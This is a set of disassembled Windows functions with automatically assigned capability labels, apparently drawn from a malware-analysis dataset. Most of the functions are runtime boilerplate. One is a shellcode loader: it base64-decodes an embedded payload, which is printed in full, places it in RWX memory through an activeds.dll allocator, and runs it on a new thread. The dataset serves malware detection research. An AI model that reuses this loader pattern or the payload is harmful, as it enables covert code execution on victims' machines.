joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400bc668
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1400b0ec8
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1400bc709
cmp ebx, dword [rsp + 0x30]
je 0x1400bc702
test esi, esi
je 0x1400bc702
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1400bc6dd
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1400bc6ea
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1400bc6c7
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1400bc6ee
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1400bc70b
mov eax, 1
jmp 0x1400bc70b
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400bca1c
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x1400bca3c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14009c6ac
or eax, 0xffffffff
jmp 0x1400bca3e
xor eax, eax
add rsp, 0x28
ret

Function at 0x1400beb64
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x140119728]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x1400bebae
call fcn.14009c718
mov dword [rax], reloc.WS2_32.dll_ntohs
call fcn.14009c738
mov dword [rax], reloc.WS2_32.dll_listen
call fcn.140096d14
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.1400902c0
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x1400bebb9
lea eax, [rbx + 1]
jmp 0x1400beb9b
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x1400beb99
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x1400beb9b
Function at 0x1400bf6e8
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.140096db4
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1400bf772
cmp byte [rbp - 0x21], r15b
je 0x1400bf76d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1400bf7a8
call fcn.1400b20b4
test eax, eax
jne 0x1400bf794
cmp byte [rbp - 0x21], r15b
je 0x1400bf78c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1400bf7a8
cmp byte [rbp - 0x21], r15b
je 0x1400bf7a5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1400a3ca8
test eax, eax
jne 0x1400bf848
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.140096db4
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1400bf7e7
cmp byte [rbp - 0x21], r15b
je 0x1400bf81c
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1400bf81c
call fcn.1400b20b4
test eax, eax
jne 0x1400bf808
cmp byte [rbp - 0x21], r15b
je 0x1400bf801
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1400bf81c
cmp byte [rbp - 0x21], r15b
je 0x1400bf819
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1400a3ca8
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1400bf848
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1400bf84b
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1400bf859
mov rcx, rdi
call fcn.1400b17fc
cmp byte [rbp + 0x3f], r15b
je 0x1400bf868
mov rcx, qword [rbp + 0x27]
call fcn.1400b17fc
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001154
Capabilities:
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x10], 0
mov dword [rbp - 0x1c], 0x30
mov eax, dword [rbp - 0x1c]
mov rax, qword gs:[rax]
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax + 8]
mov qword [rbp - 0x18], rax
mov dword [rbp - 4], 0
jmp 0x1400011ac
mov rax, qword [rbp - 0x10]
cmp rax, qword [rbp - 0x18]
jne 0x14000119e
mov dword [rbp - 4], 1
jmp 0x1400011e3
mov ecx, 0x3e8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [0x140043490]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov rcx, qword [rbp - 0x38]
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x30]
lock cmpxchg qword [rdx], rcx
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x14000118b
mov rax, qword [0x1400434a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x1400011fd
mov ecx, 0x1f
call fcn.1400235d0
jmp 0x14000123c
mov rax, qword [0x1400434a0]
mov eax, dword [rax]
test eax, eax
jne 0x140001232
mov rax, qword [0x1400434a0]
mov dword [rax], 1
mov rax, qword [0x1400434e0]
mov rdx, rax
mov rax, qword [0x1400434d0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x14000123c
mov dword [0x140047024], 1
mov rax, qword [0x1400434a0]
mov eax, dword [rax]
cmp eax, 1
jne 0x140001270
mov rax, qword [0x1400434c0]
mov rdx, rax
mov rax, qword [0x1400434b0]
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov rax, qword [0x1400434a0]
mov dword [rax], 2
cmp dword [rbp - 4], 0
jne 0x140001294
mov rax, qword [0x140043490]
mov qword [rbp - 0x48], rax
mov qword [rbp - 0x50], 0
mov rdx, qword [rbp - 0x50]
mov rax, qword [rbp - 0x48]
xchg qword [rax], rdx
mov rax, qword [0x1400433e0]
mov rax, qword [rax]
test rax, rax
je 0x1400012bf
mov rax, qword [0x1400433e0]
mov rax, qword [rax]
mov r8d, 0
mov edx, 2
mov ecx, 0
call rax
call fcn.140022858
mov rax, qword [0x140043520]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call rax
mov rdx, qword [0x140043480]
mov qword [rdx], rax
lea rax, section..text
mov rcx, rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.140022050
mov eax, dword [0x140047004]
lea rdx, [0x140047008]
mov ecx, eax
call fcn.14000147c
call fcn.140021de7
mov rax, qword [0x140043410]
mov rax, qword [rax]
mov rdx, qword [0x140047010]
mov qword [rax], rdx
mov rcx, qword [0x140047010]
mov rdx, qword [0x140047008]
mov eax, dword [0x140047004]
mov r8, rcx
mov ecx, eax
call fcn.1400016d0
mov dword [0x14004701c], eax
mov eax, dword [0x140047020]
test eax, eax
jne 0x14000135d
mov eax, dword [0x14004701c]
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
mov eax, dword [0x140047024]
test eax, eax
jne 0x14000136c
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x14004701c]
add rsp, 0x70
pop rbp
ret
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140043440]
mov dword [rax], 1
mov rax, qword [0x140043450]
mov dword [rax], 1
mov rax, qword [0x140043460]
mov dword [rax], 1
mov rax, qword [0x140043400]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140022060
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.1400233c0
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x140022d32
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140047168]
test eax, eax
je 0x140022dca
lea rax, [0x140047140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140047170]
mov qword [rbp - 8], rax
jmp 0x140022dae
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140022da2
cmp qword [rbp - 0x10], 0
je 0x140022da2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140022d68
lea rax, [0x140047140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140022dcb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140022ed0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140022ef8
mov eax, 0
jmp 0x140022f46
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140022f21
mov eax, 0
jmp 0x140022f46
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140022f41
mov eax, 0
jmp 0x140022f46
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x140022f4c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140022fca
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140022fc1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140022fc1
mov rax, qword [rbp - 8]
jmp 0x140022fdf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140022f94
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140001000
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0x44]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jne 0x140001054
xor al, al
jmp 0x1400010a5
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rax, [rsp + 0x44]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x68]
mov r8d, 1
xor edx, edx
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jne 0x140001097
xor al, al
jmp 0x1400010a5
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x70]
mov qword [rcx], rax
mov al, 1
add rsp, 0x58
ret
Function at 0x140001160
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x2a8
mov dword [rsp + 0x34], 0
lea rax, str.9kKJ7vriygoKCktbS1pYW1xCO9hvQoFYakKBWBJCgVgqQoF4WkIFvUBARzvDQjvKpjZrdggmKkvLwwdLC8vo51hLW0KBWCqBSDZCC9qBioIKCgpCj8pbUIL2lqBQhJOgUoqQwva6VxC9cNLgT6CQgvcRzvDQjvKpkvLwwdLC8sy6n_7RglGLgJPM9t_0lJOgUouQwvabEuBBkJOgUoWQwvaS4EOgkIL2ktSS1JUU1BLUktTS1BCieYqS1j16lJLU1BCgRjjXfX19VdCsAsKCgoKCgoKQoeHCwsKCkuwO4FljfXfsfq_qFxLsKyft5f130KJziI2DHYAivHqfwxTRl4ZWAKU0uD0PXfaWtmaSRvcm8K
mov qword [rsp + 0x58], rax
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0xa0]
mov rcx, qword [rsp + 0x58]
call section..text
movzx eax, al
test eax, eax
jne 0x1400011af
lea rcx, str.Base64
call fcn.1400012f4
mov eax, 1
jmp 0x1400012ea
mov byte [rsp + 0x30], 0xa
mov r8b, byte [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0xa0]
call fcn.1400010ac
lea rcx, str.activeds.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x50], rax
lea rdx, str.AllocADsMem
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x60], rax
lea rdx, str.FreeADsMem
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov ecx, dword [rsp + 0x40]
call qword [rsp + 0x60]
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 0x20
lea r9, [rsp + 0x80]
xor r8d, r8d
mov rdx, qword [rsp + 0x38]
mov rcx, rax
call qword [sym.imp.api_ms_win_core_memory_l1_1_5.dll_QueryVirtualMemoryInformation]
mov r8, qword [rsp + 0x40]
lea rdx, [rsp + 0xa0]
mov rcx, qword [rsp + 0x38]
call sub.VCRUNTIME140.dll_memmove
lea r9, [rsp + 0x34]
mov r8d, 0x40
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0
je 0x1400012bf
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x38]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x68], rax
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r9, [rsp + 0x34]
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x38]
call qword [rsp + 0x70]
xor eax, eax
add rsp, 0x2a8
ret
Function at 0x1dc954c7c
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x88
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
lea rax, str.echoBinSafe
mov qword [rbp - 0x48], rax
lea rax, str._usr_lib_nim_lib_system_io.nim
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], 0
mov word [rbp - 0x30], 0
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.nimFrame_4
mov qword [rbp - 0x10], 0
mov qword [rbp - 0x40], 8
lea rax, [0x1dc98b4a8]
mov qword [rbp - 0x38], rax
mov qword [rbp - 8], 0
mov qword [rbp - 0x40], 9
lea rax, [0x1dc98b4a8]
mov qword [rbp - 0x38], rax
mov rax, qword [rbp - 8]
cmp rax, qword [rbp + 0x28]
jge 0x1dc954dcb
mov qword [rbp - 0x40], 0x333
lea rax, str._usr_lib_nim_lib_system_io.nim
mov qword [rbp - 0x38], rax
cmp qword [rbp - 8], 0
js 0x1dc954d2d
mov rax, qword [rbp - 8]
cmp rax, qword [rbp + 0x28]
jl 0x1dc954d41
mov rax, qword [rbp + 0x28]
lea rdx, [rax - 1]
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.raiseIndexError2
mov rax, qword [rbp - 8]
lea rdx, [rax*8]
mov rax, qword [rbp + 0x20]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rbx, qword [rax]
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r8d, 0
mov rdx, rbx
mov rcx, rax
call sym.writeWindows__systemZio_205
mov qword [rbp - 0x40], 0xb
lea rax, [0x1dc98b4a8]
mov qword [rbp - 0x38], rax
mov edx, 0
mov rax, qword [rbp - 8]
add rax, 1
jno 0x1dc954da5
mov edx, 1
mov rcx, rax
lea rax, [rbp - 0x58]
mov qword [rax], rcx
mov rax, rdx
and eax, 1
test al, al
je 0x1dc954dbe
call sym.raiseOverflow
mov rax, qword [rbp - 0x58]
mov qword [rbp - 8], rax
jmp 0x1dc954cfb
nop
mov qword [rbp - 0x40], 0x339
lea rax, str._usr_lib_nim_lib_system_io.nim
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x18], 0
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov r9, rax
mov r8d, 1
mov edx, 1
lea rax, [0x1dc98b4ce]
mov rcx, rax
call sym.fwrite
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x40], 0x33a
lea rax, str._usr_lib_nim_lib_system_io.nim
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x1c], 0
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov rcx, rax
call sym.fflush
mov dword [rbp - 0x1c], eax
call sym.popFrame_4
nop
add rsp, 0x88
pop rbx
pop rbp
ret

Function at 0x1dc956c5f
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp - 8], 0
cmp qword [rbp + 0x18], 0
je 0x1dc956c8f
mov rax, qword [rbp + 0x18]
mov rcx, rax
call sym.nimCStrLen_1
mov rcx, rax
jmp 0x1dc956c94
mov ecx, 0
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x18]
mov r9, rdx
mov r8, rcx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.fflush
mov dword [rbp - 0xc], eax
nop
add rsp, 0x30
pop rbp
ret
Function at 0x1dc95f2ee
Capabilities:
Write file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov qword [rbp - 8], 0
mov rdx, qword [rbp + 0x20]
mov rcx, qword [rbp + 0x10]
mov rax, qword [rbp + 0x18]
mov r9, rcx
mov r8, rdx
mov edx, 1
mov rcx, rax
call sym.fwrite
mov qword [rbp - 8], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.fflush
mov dword [rbp - 0xc], eax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x1dc982e00
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x1dc982e70
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1dc9a9e44]
mov rbx, rcx
test esi, esi
jle 0x1dc982fa0
mov rax, qword [0x1dc9a9e48]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1dc982ebb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1dc982f45
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1dc982ea0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x1dc982fc2
mov rax, qword [0x1dc9a9e48]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1dc9a9e48]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1dc982fa7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1dc982f3e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1dc982f50
add dword [0x1dc9a9e44], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1dc9a9e48]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1dc982f3e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x1dc982ec8
mov rax, qword [0x1dc9a9e48]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]